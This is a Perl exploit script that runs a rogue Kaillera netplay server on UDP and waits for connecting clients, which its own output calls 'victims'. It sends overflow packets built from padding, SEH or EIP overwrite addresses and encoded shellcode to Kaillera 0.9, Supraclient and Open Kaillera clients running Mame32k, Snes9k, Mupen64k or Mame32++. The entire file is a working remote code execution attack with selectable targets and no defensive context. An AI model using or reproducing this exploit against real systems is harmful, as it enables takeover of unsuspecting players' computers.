use strict;
use warnings;
use IO::Socket;
use Getopt::Long;
use Digest::MD5 qw(md5);
use subs qw(sendmessage help);
my $sc =
"\x31\xc9\xdd\xc5\xb8\xe6\xd8\x80\xa4\xb1\x33\xd9\x74\x24" .
"\xf4\x5a\x31\x42\x16\x83\xea\xfc\x03\x42\xf4\x3a\x75\x58" .
"\x10\x33\x76\xa1\xe0\x24\xfe\x44\xd1\x76\x64\x0c\x43\x47" .
"\xee\x40\x6f\x2c\xa2\x70\xe4\x40\x6b\x76\x4d\xee\x4d\xb9" .
"\x4e\xde\x51\x15\x8c\x40\x2e\x64\xc0\xa2\x0f\xa7\x15\xa2" .
"\x48\xda\xd5\xf6\x01\x90\x47\xe7\x26\xe4\x5b\x06\xe9\x62" .
"\xe3\x70\x8c\xb5\x97\xca\x8f\xe5\x07\x40\xc7\x1d\x2c\x0e" .
"\xf8\x1c\xe1\x4c\xc4\x57\x8e\xa7\xbe\x69\x46\xf6\x3f\x58" .
"\xa6\x55\x7e\x54\x2b\xa7\x46\x53\xd3\xd2\xbc\xa7\x6e\xe5" .
"\x06\xd5\xb4\x60\x9b\x7d\x3f\xd2\x7f\x7f\xec\x85\xf4\x73" .
"\x59\xc1\x53\x90\x5c\x06\xe8\xac\xd5\xa9\x3f\x25\xad\x8d" .
"\x9b\x6d\x76\xaf\xba\xcb\xd9\xd0\xdd\xb4\x86\x74\x95\x57" .
"\xd3\x0f\xf4\x3d\x22\x9d\x82\x7b\x24\x9d\x8c\x2b\x4c\xac" .
"\x07\xa4\x0b\x31\xc2\x80\xe3\x7b\x4f\xa0\x6b\x22\x05\xf0" .
"\xf6\xd5\xf3\x37\x0e\x56\xf6\xc7\xf5\x46\x73\xcd\xb2\xc0" .
"\x6f\xbf\xab\xa4\x8f\x6c\xcc\xec\xf3\xf3\x5e\x6c\xda\x96" .
"\xe6\x17\x22\x53";
my $adjust ="\x81\xc4\x54\xf2\xff\xff";
my $ack="\x05\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00";
my $ServerStatus="\x04" . "\x00" x 9;
my $oldjunk="A" x 92;
my $junk="A" x 2082;
my $suprajunk="A" x 2048;
my $MOTDHeader="\x17" . "Server\0";
my $MOTDMessage="Hello, Welcome to the Server\0";
my $nseh="\xeb\x06\x90\x90";
my $seh, my $eip;
my $ServerExploit;
my $username;
my %inc;
my ($port, $ip, $help, $target, $listtarget, $listemu, $emu, $delay, $debug);
$port = 27888;
GetOptions(
'port=i'=>\$port,
'ip=s'=>\$ip,
'help'=>\$help,
't=s' =>\$target,
'emu=s' =>\$emu,
'targets' =>\$listtarget,
'delay=i' =>\$delay,
'debug' =>\$debug,
'emus' =>\$listemu
);
if (defined $listtarget) {
print "\r\n=========Pick a version of Kaillera to attack :) ========\r\n\r\n" ;
print "1.Kaillera 0.9/Anti3d-t old \r\n\r\nPick emulator to target with -emu flag: mame32k, snes, mupen\r\n\r\n";
print "2.SupraclientCPPE 0.85.2-t supra:\r\n\r\nPick emulator to target with -emu flag: mame32, mupen\r\n\r\n";
print "3.Open Kaillera n02v0r6-t p2p (Universal Exploit)\r\n" ;
}
if (defined $listemu) {
print "\r\n=========Specific versions of emulators being attacked :) ============" . "\r\n\r\n" ;
print "Mame32k 0.64-emu mame32k\r\n\r\n";
print "Mame32++ 0.117-emu mame32\r\n\r\n";
print "Mupen64k 0.7.9-emu mupen\r\n\r\n";
print "Snes9k 0.09-emu snes\r\n";
}
help() if($help or not defined $ip or not defined $target);
if ($target eq "old") {
if (not defined $emu) {
print "\r\nPick an emulator to target, this exploit isn't universal\r\n";
help();
}
if ($emu eq "mame32k") {
print "\r\nTargetting Mame32k 0.64 running with Kaillera client 0.9...\r\n";
$seh=pack('V',0x010B3A06);
}
elsif ($emu eq "snes") {
print "\r\nTargetting Snes9k 0.09 running with Kaillera client 0.9...\r\n";
$seh=pack('V',0x10018ECD);
}
elsif ($emu eq "mupen") {
print "\r\nTargetting Mupen64k 0.7.9 running with Kaillera client 0.9...\r\n";
$seh=pack('V', 0x67F46FEF);
}
else {
print "\r\nPick a valid emulator to target: -emus to list emulators \r\n";
help();
}
}
elsif($target eq "p2p") {
print "\r\nTargetting P2P Client (Universal exploit)...\r\n";
if (defined $emu) {
print "\r\nUniversal exploit, no emu necessary...\r\n";
help();
}
}
elsif($target eq "supra") {
if (not defined $emu) {
print "\r\nPick an emulator to target, this exploit isn't universal\r\n";
help();
}
if ($emu eq "mame32") {
print "\r\nTargetting Mame32++ 0.117 running with Supraclient...\r\n";
$eip=pack('V', 0x01C01104);
}
elsif ($emu eq "mupen") {
print "\r\nTargetting Mupen64k 0.7.9 running with Supraclient...\r\n";
$eip=pack('V', 0x10021C16);
}
}
else {
print "\r\nPick a valid target, try -targets if you're lost.\r\n";
help();
}
my $hello = "HELLOD00D$port\0";
my $sock = IO::Socket::INET->new(Proto=>'udp', LocalPort=>$port) or die "Error opening $ip:$port \r\n$!";
print "Evil Kaillera Server Started on $ip:$port, waiting for victims :D\r\n";
my $msg_in;
my $MAX_MESSAGE_LENGTH=5000;
while (1) {
$sock->recv($msg_in,$MAX_MESSAGE_LENGTH);
my $packet = unpack 'H*', $msg_in;
if (defined $debug) {
print "Packet found: $packet\n";
}
my $peerhost = $sock->peeraddr;
my $peerport = $sock->peerport;
if ($msg_in =~ m/HELLO0\.83/) {
print "Sending Hello...\n";
$sock->send($hello);
}
if ($msg_in =~ m/\x03(.*?\x00)/){
my $username = $1 ;
my $ServerAnnounce="\x02" . $username . substr(md5($username),0,2) . "\x00" x 4 . "\x01";
if ($packet=~m/.{10}03/) {
if (defined $debug) {
print "Username $username found\r\n" . "Sending ACKs to client...\r\n";
}
sendpacket(\$sock, $ack) for (1..3);
sleep 1;
}
sendpacket(\$sock, $ServerStatus);
print "Sending ServerStatus...\r\n";
sendpacket(\$sock, $ServerAnnounce);
if ($target eq "p2p") {
print "Attacking p2p client...\r\n";
$eip=pack('V',0x100123F3);
sendpacket(\$sock, $MOTDHeader.$junk.$eip.$sc);
print "Sending MOTD payload to P2PClient...\n";
if (defined $delay) {
sleep $delay;
}
}
if ($target eq "supra") {
print "Sending MOTD payload to Supraclient\r\n";
sendpacket(\$sock, $MOTDHeader.$suprajunk.$eip.$adjust.$sc);
if (defined $delay) {
sleep $delay;
}
}
if ($target eq "old") {
print "Sending Announce, MOTD to old kaillera client...\r\n";
sendpacket(\$sock, $MOTDHeader.$MOTDMessage);
my $ServerExploit="\x02" . $oldjunk . $nseh . $seh . $sc;
print "Sending ServerStatus payload to 0.9 client...\r\n";
sendpacket(\$sock, $ServerExploit);
if (defined $delay) {
sleep $delay;
}
}
}
}
$sock->close;
sub help{
print "\r\nUsage: $0 -port=1111 -ip=1.1.1.1 -t=supra -emu=mame32 -targets -emus -delay 10 -debug -help\n";
exit 0;
}
sub sendpacket{
my $sock = shift;
bless $sock, "IO::Socket::INET";
my @messages = @_;
my $numberofmessages = @messages;
my $messagesbyte = pack('c',$numberofmessages);
my $packet;
for(@messages){
my $header = pack('v', $inc{$$sock->peeraddr}++) . pack ('v', length($_));
$packet .= $header.$_;
}
$$sock->send($messagesbyte.$packet) or die "Couldn't send:\n$packet\n$!";
}